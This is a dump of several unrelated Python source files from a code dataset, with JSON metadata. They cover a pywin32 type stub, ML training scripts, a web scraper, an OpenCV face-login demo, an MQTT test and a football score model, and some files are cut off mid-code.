int\nMCI_GETDEVCAPS_CAN_PLAY: int\nMCI_GETDEVCAPS_CAN_SAVE: int\nMCI_SYSINFO_QUANTITY: int\nMCI_SYSINFO_OPEN: int\nMCI_SYSINFO_NAME: int\nMCI_SYSINFO_INSTALLNAME: int\nMCI_SET_DOOR_OPEN: int\nMCI_SET_DOOR_CLOSED: int\nMCI_SET_TIME_FORMAT: int\nMCI_SET_AUDIO: int\nMCI_SET_VIDEO: int\nMCI_SET_ON: int\nMCI_SET_OFF: int\nMCI_SET_AUDIO_ALL: int\nMCI_SET_AUDIO_LEFT: int\nMCI_SET_AUDIO_RIGHT: int\nMCI_BREAK_KEY: int\nMCI_BREAK_HWND: int\nMCI_BREAK_OFF: int\nMCI_RECORD_INSERT: int\nMCI_RECORD_OVERWRITE: int\nMCI_SAVE_FILE: int\nMCI_LOAD_FILE: int\nMCI_VD_MODE_PARK: Incomplete\nMCI_VD_MEDIA_CLV: Incomplete\nMCI_VD_MEDIA_CAV: Incomplete\nMCI_VD_MEDIA_OTHER: Incomplete\nMCI_VD_FORMAT_TRACK: int\nMCI_VD_PLAY_REVERSE: int\nMCI_VD_PLAY_FAST: int\nMCI_VD_PLAY_SPEED: int\nMCI_VD_PLAY_SCAN: int\nMCI_VD_PLAY_SLOW: int\nMCI_VD_SEEK_REVERSE: int\nMCI_VD_STATUS_SPEED: int\nMCI_VD_STATUS_FORWARD: int\nMCI_VD_STATUS_MEDIA_TYPE: int\nMCI_VD_STATUS_SIDE: int\nMCI_VD_STATUS_DISC_SIZE: int\nMCI_VD_GETDEVCAPS_CLV: int\nMCI_VD_GETDEVCAPS_CAV: int\nMCI_VD_SPIN_UP: int\nMCI_VD_SPIN_DOWN: int\nMCI_VD_GETDEVCAPS_CAN_REVERSE: int\nMCI_VD_GETDEVCAPS_FAST_RATE: int\nMCI_VD_GETDEVCAPS_SLOW_RATE: int\nMCI_VD_GETDEVCAPS_NORMAL_RATE: int\nMCI_VD_STEP_FRAMES: int\nMCI_VD_STEP_REVERSE: int\nMCI_VD_ESCAPE_STRING: int\nMCI_CDA_STATUS_TYPE_TRACK: int\nMCI_CDA_TRACK_AUDIO: Incomplete\nMCI_CDA_TRACK_OTHER: Incomplete\nMCI_WAVE_PCM: Incomplete\nMCI_WAVE_MAPPER: Incomplete\nMCI_WAVE_OPEN_BUFFER: int\nMCI_WAVE_SET_FORMATTAG: int\nMCI_WAVE_SET_CHANNELS: int\nMCI_WAVE_SET_SAMPLESPERSEC: int\nMCI_WAVE_SET_AVGBYTESPERSEC: int\nMCI_WAVE_SET_BLOCKALIGN: int\nMCI_WAVE_SET_BITSPERSAMPLE: int\nMCI_WAVE_INPUT: int\nMCI_WAVE_OUTPUT: int\nMCI_WAVE_STATUS_FORMATTAG: int\nMCI_WAVE_STATUS_CHANNELS: int\nMCI_WAVE_STATUS_SAMPLESPERSEC: int\nMCI_WAVE_STATUS_AVGBYTESPERSEC: int\nMCI_WAVE_STATUS_BLOCKALIGN: int\nMCI_WAVE_STATUS_BITSPERSAMPLE: int\nMCI_WAVE_STATUS_LEVEL: int\nMCI_WAVE_SET_ANYINPUT: int\nMCI_WAVE_SET_ANYOUTPUT: int\nMCI_WAVE_GETDEVCAPS_INPUTS: int\nMCI_WAVE_GETDEVCAPS_OUTPUTS: int\nMCI_SEQ_DIV_PPQN: Incomplete\nMCI_SEQ_DIV_SMPTE_24: Incomplete\nMCI_SEQ_DIV_SMPTE_25: Incomplete\nMCI_SEQ_DIV_SMPTE_30DROP: Incomplete\nMCI_SEQ_DIV_SMPTE_30: Incomplete\nMCI_SEQ_FORMAT_SONGPTR: int\nMCI_SEQ_FILE: int\nMCI_SEQ_MIDI: int\nMCI_SEQ_SMPTE: int\nMCI_SEQ_NONE: int\nMCI_SEQ_MAPPER: int\nMCI_SEQ_STATUS_TEMPO: int\nMCI_SEQ_STATUS_PORT: int\nMCI_SEQ_STATUS_SLAVE: int\nMCI_SEQ_STATUS_MASTER: int\nMCI_SEQ_STATUS_OFFSET: int\nMCI_SEQ_STATUS_DIVTYPE: int\nMCI_SEQ_STATUS_NAME: int\nMCI_SEQ_STATUS_COPYRIGHT: int\nMCI_SEQ_SET_TEMPO: int\nMCI_SEQ_SET_PORT: int\nMCI_SEQ_SET_SLAVE: int\nMCI_SEQ_SET_MASTER: int\nMCI_SEQ_SET_OFFSET: int\nMCI_ANIM_OPEN_WS: int\nMCI_ANIM_OPEN_PARENT: int\nMCI_ANIM_OPEN_NOSTATIC: int\nMCI_ANIM_PLAY_SPEED: int\nMCI_ANIM_PLAY_REVERSE: int\nMCI_ANIM_PLAY_FAST: int\nMCI_ANIM_PLAY_SLOW: int\nMCI_ANIM_PLAY_SCAN: int\nMCI_ANIM_STEP_REVERSE: int\nMCI_ANIM_STEP_FRAMES: int\nMCI_ANIM_STATUS_SPEED: int\nMCI_ANIM_STATUS_FORWARD: int\nMCI_ANIM_STATUS_HWND: int\nMCI_ANIM_STATUS_HPAL: int\nMCI_ANIM_STATUS_STRETCH: int\nMCI_ANIM_INFO_TEXT: int\nMCI_ANIM_GETDEVCAPS_CAN_REVERSE: int\nMCI_ANIM_GETDEVCAPS_FAST_RATE: int\nMCI_ANIM_GETDEVCAPS_SLOW_RATE: int\nMCI_ANIM_GETDEVCAPS_NORMAL_RATE: int\nMCI_ANIM_GETDEVCAPS_PALETTES: int\nMCI_ANIM_GETDEVCAPS_CAN_STRETCH: int\nMCI_ANIM_GETDEVCAPS_MAX_WINDOWS: int\nMCI_ANIM_REALIZE_NORM: int\nMCI_ANIM_REALIZE_BKGD: int\nMCI_ANIM_WINDOW_HWND: int\nMCI_ANIM_WINDOW_STATE: int\nMCI_ANIM_WINDOW_TEXT: int\nMCI_ANIM_WINDOW_ENABLE_STRETCH: int\nMCI_ANIM_WINDOW_DISABLE_STRETCH: int\nMCI_ANIM_WINDOW_DEFAULT: int\nMCI_ANIM_RECT: int\nMCI_ANIM_PUT_SOURCE: int\nMCI_ANIM_PUT_DESTINATION: int\nMCI_ANIM_WHERE_SOURCE: int\nMCI_ANIM_WHERE_DESTINATION: int\nMCI_ANIM_UPDATE_HDC: int\nMCI_OVLY_OPEN_WS: int\nMCI_OVLY_OPEN_PARENT: int\nMCI_OVLY_STATUS_HWND: int\nMCI_OVLY_STATUS_STRETCH: int\nMCI_OVLY_INFO_TEXT: int\nMCI_OVLY_GETDEVCAPS_CAN_STRETCH: int\nMCI_OVLY_GETDEVCAPS_CAN_FREEZE: int\nMCI_OVLY_GETDEVCAPS_MAX_WINDOWS: int\nMCI_OVLY_WINDOW_HWND: int\nMCI_OVLY_WINDOW_STATE: int\nMCI_OVLY_WINDOW_TEXT: int\nMCI_OVLY_WINDOW_ENABLE_STRETCH: int\nMCI_OVLY_WINDOW_DISABLE_STRETCH: int\nMCI_OVLY_WINDOW_DEFAULT: int\nMCI_OVLY_RECT: int\nMCI_OVLY_PUT_SOURCE: int\nMCI_OVLY_PUT_DESTINATION: int\nMCI_OVLY_PUT_FRAME: int\nMCI_OVLY_PUT_VIDEO: int\nMCI_OVLY_WHERE_SOURCE: int\nMCI_OVLY_WHERE_DESTINATION: int\nMCI_OVLY_WHERE_FRAME: int\nMCI_OVLY_WHERE_VIDEO: int\nSELECTDIB: int\n\ndef DIBINDEX(n): ...\n","repo_name":"JetBrains/intellij-community","sub_path":"python/helpers/typeshed/stubs/pywin32/win32/lib/mmsystem.pyi","file_name":"mmsystem.pyi","file_ext":"pyi","file_size_in_byte":22380,"program_lang":"python","lang":"en","doc_type":"code","stars":16005,"dataset":"github-code","pt":"66"}
+{"seq_id":"4615436431","text":"import matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error\nimport numpy as np\n\nX_values = np.arange(1, 8)\n\ndata = [1, 2.5, 2.9, 6, 3.8, 4.1, 8.2]\n\nmodel1 = np.arange(1, 8)\nmodel2 = np.arange(0, 7, 1.1)\nmodel3 = np.arange(1.5, 9, 1.15)\n\nplt.plot(X_values, model1, c='green', label=f'MSE = {mean_squared_error(data, model1):.2f}') # the model\nplt.plot(X_values, model2, c='blue', label=f'MSE = {mean_squared_error(data, model2):.2f}') # the model\nplt.plot(X_values, model3, c='orange', label=f'MSE = {mean_squared_error(data, model3):.2f}') # the model\nplt.scatter(X_values, data, c='red') # the actual data\nplt.title(f'Mean Square Error (MSE) Example')\nplt.xlabel('X-Axis')\nplt.ylabel('Y-Axis')\nplt.legend()\n\n#plt.show()\nplt.savefig('Ball-Rague-Fig6.8.eps', bbox_inches='tight')\n\n","repo_name":"robertball/Beginners-Guide-Data-Science","sub_path":"Chapter_6_Metrics/mse.py","file_name":"mse.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"66"}
+{"seq_id":"33066869721","text":"from xgboost import XGBRegressor\nfrom sklearn.base import BaseEstimator\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\nclass XGBoostAdapted(BaseEstimator):\n\n def __init__(self, early_stopping_rounds=10, eval_metric=None, eval_set_percent=0.2, random_seed=None, n_jobs=1, max_depth=6, n_estimators=50, nthread=1, reg_alpha=0):\n self.early_stopping_rounds = early_stopping_rounds\n self.eval_metric = eval_metric\n self.eval_set_percent = eval_set_percent\n self.random_seed = random_seed\n self.n_jobs = n_jobs\n self.max_depth = max_depth\n self.n_estimators = n_estimators\n self.nthread = nthread\n self.reg_alpha = reg_alpha\n\n \n def fit(self, X, y):\n self._xgbregressor = XGBRegressor(n_jobs=self.n_jobs, max_depth=self.max_depth, n_estimators=self.n_estimators, nthread=self.nthread, reg_alpha=self.reg_alpha)\n\n X_train, X_test, y_train, y_test = train_test_split(X.values, y.values, test_size=self.eval_set_percent, random_state=self.random_seed)\n\n eval_set = [(X_test, y_test)]\n\n self._xgbregressor.fit(X_train, y_train, early_stopping_rounds=self.early_stopping_rounds, eval_metric=self.eval_metric, eval_set=eval_set)\n \n return self\n\n def score(self, X, y, sample_weight=None):\n return self._xgbregressor.score(X.values, y.values, sample_weight)\n\n def predict(self, X):\n return self._xgbregressor.predict(X.values)\n\n\n\n\n \n \n\n\n\n\n\n","repo_name":"juaml/brainage_estimation","sub_path":"brainage/xgboost_adapted.py","file_name":"xgboost_adapted.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"66"}
+{"seq_id":"10982747203","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom keras import layers\nfrom keras.layers import TextVectorization\nfrom sklearn.model_selection import train_test_split\n\ndf = pd.read_excel(\"generated_data.xlsx\")\ndf = df.drop(columns=['LENGTH', 'TYPE'])\n\nfeatures, targets = df['TITLE'], df['LABEL']\n\ntrain_features, test_features, train_targets, test_targets = train_test_split(\n features, targets,\n train_size=0.8,\n test_size=0.1,\n random_state=42,\n shuffle=True,\n stratify=targets\n)\n\ntrain_features, val_features, train_targets, val_targets = train_test_split(\n train_features, train_targets,\n train_size=0.8,\n test_size=0.1,\n random_state=42,\n shuffle=True,\n stratify=train_targets\n)\n\n# train X & Y\ntrain_text_ds_raw = tf.data.Dataset.from_tensor_slices(\n tf.cast(train_features.values, tf.string)\n)\ntrain_cat_ds_raw = tf.data.Dataset.from_tensor_slices(\n tf.cast(train_targets.values, tf.int64),\n\n)\n# test X & y\ntest_text_ds_raw = tf.data.Dataset.from_tensor_slices(\n tf.cast(test_features.values, tf.string)\n)\ntest_cat_ds_raw = tf.data.Dataset.from_tensor_slices(\n tf.cast(test_targets.values, tf.int64),\n)\n\n# val X & Y\nval_text_ds_raw = tf.data.Dataset.from_tensor_slices(\n tf.cast(val_features.values, tf.string)\n)\nval_cat_ds_raw = tf.data.Dataset.from_tensor_slices(\n tf.cast(val_targets.values, tf.int64),\n)\n\n# Model constants.\nmax_features = 20000\nembedding_dim = 128\nsequence_length = 90\n\n# Now that we have our custom standardization, we can instantiate our text\n# vectorization layer. We are using this layer to normalize, split, and map\n# strings to integers, so we set our 'output_mode' to 'int'.\n# Note that we're using the default split function,\n# and the custom standardization defined above.\n# We also set an explicit maximum sequence length, since the CNNs later in our\n# model won't support ragged sequences.\nvectorize_layer = TextVectorization(\n max_tokens=max_features,\n output_mode=\"int\",\n output_sequence_length=sequence_length,\n)\n\nvectorize_layer.adapt(train_features)\nvocab = vectorize_layer.get_vocabulary()\n\ndef convert_text_input(sample):\n text = sample\n text = tf.expand_dims(text, -1)\n return tf.squeeze(vectorize_layer(text))\n\n# Train X\ntrain_text_ds = train_text_ds_raw.map(convert_text_input,\n num_parallel_calls=tf.data.experimental.AUTOTUNE)\n# Test X\ntest_text_ds = test_text_ds_raw.map(convert_text_input,\n num_parallel_calls=tf.data.experimental.AUTOTUNE)\n# Val X\nval_text_ds = val_text_ds_raw.map(convert_text_input,\n num_parallel_calls=tf.data.experimental.AUTOTUNE)\n\ntrain_ds = tf.data.Dataset.zip(\n (\n train_text_ds,\n train_cat_ds_raw\n )\n)\n\ntest_ds = tf.data.Dataset.zip(\n (\n test_text_ds,\n test_cat_ds_raw\n )\n)\n\nval_ds = tf.data.Dataset.zip(\n (\n val_text_ds,\n val_cat_ds_raw\n )\n)\n\n\nbatch_size = 64\nAUTOTUNE = tf.data.experimental.AUTOTUNE\nbuffer_size= train_ds.cardinality().numpy()\n\ntrain_ds = train_ds.shuffle(buffer_size=buffer_size)\\\n .batch(batch_size=batch_size,drop_remainder=True)\\\n .cache()\n\ntest_ds = test_ds.shuffle(buffer_size=buffer_size)\\\n .batch(batch_size=batch_size,drop_remainder=True)\\\n .cache()\n\nval_ds = val_ds.shuffle(buffer_size=buffer_size)\\\n .batch(batch_size=batch_size,drop_remainder=True)\\\n .cache()\n\n\n#\n# ############## MODEL ##################\ninputs_tokens = layers.Input(shape=(sequence_length,), dtype=tf.int32)\nembedding_layer = layers.Embedding(max_features, 256)\nx = embedding_layer(inputs_tokens)\nx = layers.Flatten()(x)\noutputs = layers.Dense(3, activation=\"softmax\")(x)\nmodel = keras.Model(inputs=inputs_tokens, outputs=outputs)\n\nloss_fn = tf.keras.losses.CategoricalCrossentropy(from_logits=True)\nmetric_fn = tf.keras.metrics.CategoricalAccuracy()\nmodel.compile(loss=loss_fn, optimizer=\"adam\", metrics=[metric_fn])\nepochs = 3\n\n# Fit the model using the train and test datasets.\nmodel.fit(train_ds, validation_data=val_ds, epochs=epochs, verbose=1)\n\nmodel.evaluate(test_ds)\n\n#model.save(\"fitted_model\")\n\n\n\n\n\n\n\n\n\n\n\n# loaded_model = keras.models.load_model(\"fitted_model\")\n#\n# loaded_model.evaluate(test_ds)\n#\n# end_to_end_model = keras.Sequential([\n# keras.Input(shape=(1,), dtype=\"string\"),\n# vectorize_layer,\n# loaded_model,\n# keras.layers.Activation('softmax')\n# ])\n#\n# end_to_end_model.compile(\n# loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=False), optimizer=\"adam\", metrics=['accuracy']\n# )\n#\n# while True:\n# raw_data = \"Meeting with Matan\"\n# predictions=end_to_end_model.predict([raw_data])\n# print(np.argmax(predictions[0]))\n# raw_data = input(\"Input assignment\")","repo_name":"matanEpel/ai-project---calender","sub_path":"leaner_turkish.py","file_name":"leaner_turkish.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"20159835464","text":"#!/usr/bin/env python\n\n\"\"\"GeoKey setup.\"\"\"\n\nfrom os.path import join\nfrom setuptools import setup, find_packages\n\nfrom geokey.version import get_version\n\n\nname = 'geokey'\nversion = get_version()\nrepository = join('https://github.com/ExCiteS', name)\n\n\ndef get_install_requires():\n \"\"\"\n Get requirements (ignore links, exclude comments).\n\n Returns\n -------\n list\n Requirements for GeoKey.\n \"\"\"\n requirements = list()\n for line in open('requirements.txt').readlines():\n if line.startswith('#') or line.startswith('git+https') or line == '':\n continue\n requirements.append(line.rstrip())\n return requirements\n\n\nsetup(\n name=name,\n version=version,\n description='Platform for participatory mapping',\n url='http://geokey.org.uk',\n download_url=join(repository, 'tarball', version),\n author='ExCiteS',\n author_email='excites@ucl.ac.uk',\n license='Apache 2.0',\n packages=find_packages(),\n include_package_data=True,\n install_requires=get_install_requires(),\n)\n","repo_name":"ExCiteS/geokey","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"66"}
+{"seq_id":"21383021434","text":"import csv\n\nstats = 0;\nzeroes = 0;\nlist = []\nwith open('../Data/class.csv', 'r') as inputs:\n r = csv.reader(inputs, delimiter=',')\n for row in r:\n l = [str(row[0]), str(row[1]), str(row[12])]\n if (row[12] == 'lcom*' or row[12] == 'NaN'):\n pass\n else :\n stats += float(row[12])\n if float(row[12]) == 0:\n zeroes = zeroes + 1\n list.append(l)\n\nprint(stats / len(list))\nprint(zeroes)\nprint(len(list))\n\nwith open('../Data/ckjm_lcom.csv', 'w') as outputs:\n w = csv.writer(outputs)\n for i in range(len(list)):\n w.writerow(list[i])\n\n","repo_name":"xavlap/IFT3913TP2","sub_path":"src/filter_ckjm_LCOM.py","file_name":"filter_ckjm_LCOM.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"12558922974","text":"import paho.mqtt.client as mqtt\nfrom time import sleep\nfrom random import randint\nmqttc = mqtt.Client()\nmqttc.connect(\"192.168.1.45\", 1883)\nwhile(1):\n for i in range(200,-1,-1):\n mqttc.publish(\"nickWmV\", i)\n print(str(i))\n sleep(1)\n break\n\nprint(\"FIM DO PROGRAMA\")\n\nmqttc.loop(2)","repo_name":"NicholasWM-zz/Cursos","sub_path":"Python/AULAS/Alura/Python3/Python_1_e_2/IoT/publish-test.py","file_name":"publish-test.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"18150782135","text":"import cv2\nimport glob, os\nimport numpy as np\nfrom PIL import Image\nfrom pkg_resources import resource_stream\nimport skimage.color\n\nimport matplotlib.pyplot as plt\n\ndir = \"./dataset/\"\nos.chdir(dir)\nnp.set_printoptions(suppress=True)\nvideos = [\"picklist_17\",\"picklist_18\",\"picklist_19\",\"picklist_20\",\"picklist_21\",\"picklist_22\"]\nfor video in videos:\n files = sorted(glob.glob(video + '/*.jpg'), key=os.path.getmtime)\n with open(\"../\" + video, 'w') as fi:\n for file in files:\n print(file)\n # if \"blue1\" in file:\n pil_image = Image.open(resource_stream(__name__, dir+file))\n color_image = np.array(Image.open(resource_stream(__name__, dir+file)))\n # color_image = cv2.cvtColor(color_image, cv2.COLOR_BGR2RGB)\n number_of_pixels = color_image.shape[0] * color_image.shape[1]\n hsv_image = skimage.color.rgb2hsv(color_image)\n dims = hsv_image.shape\n hues = []\n saturations = []\n for i in range(0, dims[0]):\n for j in range(0, dims[1]):\n # subsample\n if i % 1 == 0:\n # BGR\n hsv_value = np.array([[hsv_image[i, j, 0],\n hsv_image[i, j, 1],\n hsv_image[i, j, 2]]])\n # rgb_value = np.array([[color_image[i, j, 0],\n # color_image[i, j, 1],\n # color_image[i, j, 2]]]) / 255.0\n hues.append(hsv_value[0][0])\n saturations.append(hsv_value[0][1])\n f, axarr = plt.subplots(2, 2)\n\n axarr[0,0].imshow(color_image)\n h = sum(hues)/len(hues)\n s = sum(saturations)/len(saturations)\n # print(max(set(hues), key=hues.count)) #mode\n # print(max(set(saturations), key=saturations.count)) #mode\n V = np.array([[h, s]])\n origin = np.array([[0, 0, 0], [0, 0, 0]]) # origin point\n # axarr[1].set_xlim([0, 10])\n # axarr[1].set_ylim([0, 10])\n axarr[0,1].quiver(*origin, V[:, 0], V[:, 1], color=['r'], scale=10)\n circle1 = plt.Circle((0, 0), 1 / 21, fill=False)\n axarr[0,1].add_patch(circle1)\n hist_n,hist_bins, _ = axarr[1,0].hist(hues, bins=10, range=(0,1))\n axarr[1,0].set_xlim([0, 1])\n # axarr[1,0].set_title(\"Hue\")\n sat_n,sat_bins, _ = axarr[1,1].hist(saturations, bins=10, range=(0,1))\n # print(hist_n, hist_bins)\n # print(sat_n, sat_bins)\n\n histsat = np.concatenate((hist_n, sat_n))\n mystring = str(histsat).replace(\"[\",\"\").replace(\"]\",\"\").replace(\".\",\"\").replace(\"\\n\",\"\")\n newstring = ' '.join(mystring.split())\n print(newstring)\n fi.write(newstring)\n fi.write(\"\\n\")\n\n axarr[1,1].set_xlim([0, 1])\n # axarr[1,1].set_title(\"Saturation\")\n # plt.show()\n # plt.close()\n\n\n\n","repo_name":"czming/ai-through-symbiosis","sub_path":"frame_to_hsv.py","file_name":"frame_to_hsv.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"66"}
+{"seq_id":"18219097298","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 11 15:28:32 2018\n\n@author: ecupl\n\"\"\"\n\n#用颜色直方图判断是否同张脸\nfrom PIL import Image\nfrom functools import reduce\nimport math, operator, cv2, os\n\nos.chdir(\"D:\\\\mywork\\\\test\")\n#创建识别对象\nfaceCascade = cv2.CascadeClassifier(\"D:\\\\python\\\\Lib\\\\site-packages\\\\cv2\\\\data\\\\haarcascade_frontalface_default.xml\")\nloginface = 'face\\\\login.jpg'\nrecogface = 'face\\\\recog.jpg'\n\n#定义抓取图片的函数\ndef makeface(filename):\n print('按任意键进入开始截图\\n摄像头开启后按Z拍照')\n cv2.namedWindow('face')\n cv2.waitKey(0)\n cap = cv2.VideoCapture(0) #调用摄像头\n while(cap.isOpened()):\n ret, img = cap.read() #读取图像\n cv2.waitKey(30)\n #加入框框识别人脸\n peopleface = faceCascade.detectMultiScale(img,scaleFactor=1.2,minNeighbors=3,minSize=(10,10),flags=cv2.CASCADE_SCALE_IMAGE)\n for x,y,w,h in peopleface:\n cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),1)\n if ret==True:\n cv2.imshow('face',img)\n k=cv2.waitKey(30)\n if k==ord('z') or k==ord('Z'): #判断是否为按了Z\n cv2.imwrite(filename,img)\n break\n cv2.waitKey(500)\n face = Image.open(filename)\n face1 = face.crop((x,y,x+w,y+h))\n face2 = face1.resize((200,200),Image.ANTIALIAS)\n face2.save(filename)\n cap.release()\n cv2.destroyAllWindows()\n\n\nif os.path.exists('face\\\\recog.jpg'):\n makeface(loginface)\n pic1 = Image.open('face\\\\recog.jpg')\n pic2 = Image.open('face\\\\login.jpg')\n h1=pic1.histogram() #16等分,3组\n h2=pic2.histogram()\n diff = math.sqrt(reduce(operator.add, list(map(lambda a,b:(a-b)**2,h1,h2)))/len(h1))\n if diff<=100:\n print(\"检验通过。diff=%.2f\"%diff)\n else:\n print(\"人脸错误,无法登录。diff=%.2f\"%diff)\nelse:\n makeface(recogface)\n print('预测人脸图像拍摄成功。')\n#import matplotlib.pyplot as plt\n#plt.hist(h2,bins=50) \n#另一种diff计算方式\n#diff2 = (sum(list(map(lambda a,b:(a-b)**2,h1,h2)))/len(h1))**0.5\n\n\n\n","repo_name":"shoucangjia1qu/study_python","sub_path":"face_login(study0811).py","file_name":"face_login(study0811).py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"19133304634","text":"import queue\nimport random\nimport threading\nimport time\nimport requests\nfrom resources import urls\nfrom bs4 import BeautifulSoup\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\"\"\"\n可以用:time curl http://ip:port/xxx 来测试响应时间\n\"\"\"\n\n\n\ndef craw(url):\n \"\"\"根据传入的url发送请求,获取页面内容\"\"\"\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203\"\n }\n r = requests.get(url, headers=headers)\n # print(url, len(r.text))\n return r.text\n\n\ndef parse(html):\n \"\"\"解析内容\"\"\"\n soup = BeautifulSoup(html, \"html.parser\")\n links = soup.find_all(\"a\", class_=\"post-item-title\")\n return [(link[\"href\"], link.get_text()) for link in links]\n\n\nclass base_multi_thread:\n\n def multi_thread(self, num=-1):\n threads = []\n for url in self.urls[:num]:\n threads.append(\n threading.Thread(target=craw, args=(url,))\n )\n\n for thread in threads:\n thread.start()\n\n for thread in threads:\n thread.join()\n\n\nclass ProducerConsumer:\n def __init__(self, url_queue, html_queue):\n self.url_queue = url_queue\n self.html_queue = html_queue\n\n def do_craw(self):\n count = 0\n while True:\n url = self.url_queue.get()\n if not url and count < 3:\n count += 1\n continue\n if count >= 3:\n break\n html = craw(url)\n self.html_queue.put(html)\n time.sleep(random.randint(1, 2))\n\n def do_parse(self, fout):\n count = 0\n while True:\n html = self.html_queue.get()\n if not html and count < 3:\n count += 1\n continue\n if count >= 3:\n break\n results = parse(html)\n for result in results:\n fout.write(str(result) + \"\\n\")\n time.sleep(random.randint(1, 2))\n\n def run(self):\n for url in urls:\n self.url_queue.put(url)\n print(self.url_queue.qsize())\n\n for idx in range(3):\n t = threading.Thread(target=self.do_craw, name=f\"craw{idx}\")\n t.start()\n\n fout = open(\"result.txt\", \"w\")\n for idx in range(2):\n t = threading.Thread(target=self.do_parse, args=(fout,), name=f\"parse{idx}\")\n t.start()\n\n\nclass ThreadPoolObj:\n\n def __init__(self):\n pass\n\n def method1(self):\n \"\"\"会按顺序打印结果\"\"\"\n with ThreadPoolExecutor() as pool:\n results = pool.map(craw, urls)\n for result in results:\n print(result)\n\n def method2(self):\n \"\"\"哪个线程先结束就先打印哪个线程的结果\"\"\"\n with ThreadPoolExecutor() as pool:\n futures = [pool.submit(craw, url) for url in urls]\n for future in futures:\n print(future.result())\n for future in as_completed(futures):\n print(future.result())\n\n\nif __name__ == '__main__':\n url_queue = queue.Queue()\n html_queue = queue.Queue()\n PC = ProducerConsumer(url_queue, html_queue)\n PC.run()\n","repo_name":"moye233057/moye_notebook","sub_path":"MultiProcess/实战/多线程.py","file_name":"多线程.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"34626798031","text":"import csv\nfrom collections import defaultdict\nfrom random import uniform\nimport scipy.optimize as sc\nfrom math import exp, factorial\n\nvariables = {}\nind_variables = {}\nteams = set()\nfilename = 'premierleague_scores.csv'\nwith open(filename, newline='') as csvfile:\n _reader = csv.reader(csvfile, delimiter=';')\n next(_reader)\n for row in _reader:\n teams.add(row[0])\n\nfor team in teams:\n variables[(team, 'A')] = [0, 0]\n variables[(team, 'D')] = [0, 0]\n\ndef find_prob(team_a, team_d, k):\n return (pow(variables[(team_a, 'A')], k)*exp(-variables[(team_a, 'A')])+\n pow(variables[(team_d, 'D')], k)*exp(-variables[(team_d, 'D')]))/(2*factorial(k))\n # sm = 0\n # for i in range(2*k+1):\n # sm += pow(variables[(team_a, 'A')], i)*exp(-variables[(team_a, 'A')])*\\\n # pow(variables[(team_d, 'D')], 2*k-i)*exp(-variables[(team_d, 'D')])\\\n # /(factorial(i)*factorial(2*k-i))\n # return sm\n\nwith open(filename, newline='') as csvfile:\n _reader = csv.reader(csvfile, delimiter=';')\n next(_reader)\n for row in _reader:\n variables[(row[0], 'A')][0] += int(row[2])\n variables[(row[0], 'A')][1] += 1\n variables[(row[1], 'D')][0] += int(row[2])\n variables[(row[1], 'D')][1] += 1\n variables[(row[1], 'A')][0] += int(row[3])\n variables[(row[1], 'A')][1] += 1\n variables[(row[0], 'D')][0] += int(row[3])\n variables[(row[0], 'D')][1] += 1\n\nfor v in variables:\n print(v, variables[v], variables[v][0]/variables[v][1])\n variables[v] = variables[v][0]/variables[v][1]\n\n\n# matches = [('Leicester City', 'Everton', '2-1'),\n# ('Manchester United', 'Aston Villa', '2-2'),\n# ('Norwich City', 'Arsenal Londyn', '2-2'),\n# ('Wolverhampton', 'Sheffield United', '1-1'),\n# ('Southampton FC', 'Watford FC', '2-1'),\n# ('Burnley FC', 'Crystal Palace', '0-2'),\n# ('Chelsea Londyn', 'West Ham United', '0-1'),\n# ('Liverpool FC', 'Brighton & Hove', '2-1'),\n# ('Tottenham Hotspur', 'AFC Bournemouth', '3-2'),\n# ('Newcastle United', 'Manchester City', '2-2')]\nprint(teams)\n# matches = [('PSG', 'Lyon', '0-1'),\n# ('Lille', 'Bordeaux', '2-1'),\n# ('Brest', 'Reims', '2-1'),\n# ('Lorient', 'Nimes', '3-0'),\n# ('Nantes', 'Dijon', '1-1'),\n# ('Strasbourg', 'Metz', '2-2'),\n# ('Nice', 'Rennes', '0-1'),\n# ('Lens', 'Montpellier', '2-3'),\n# ('Marsylia', 'Monaco', '2-1'),\n# ('St. Etienne', 'Angers', '0-0')]\n\n# matches = [('Lechia', 'Wisła Płock', '0-1'),\n# ('Raków', 'Jagiellonia', '3-2'),\n# ('Stal', 'Lech', '1-1'),\n# ('Wisła Kraków', 'Legia', '1-2'),\n# ('Górnik', 'Cracovia', '0-2'),\n# ('Warta', 'Pogoń', '1-2'),\n# ('Zagłębie', 'Śląsk', '2-1'),\n# ('Podbeskidzie', 'Piast', '0-5')]\n\n# matches = [('Schalke', 'Freiburg', '0-2'),\n# ('Bremen', 'Dortmund', '1-2'),\n# ('Hertha', 'Mainz', '0-0'),\n# ('Stuttgart', 'Union Berlin', '2-2'),\n# ('Frankfurt', 'Moenchengladbach', '3-3'),\n# ('Bayern', 'Wolfsburg'), 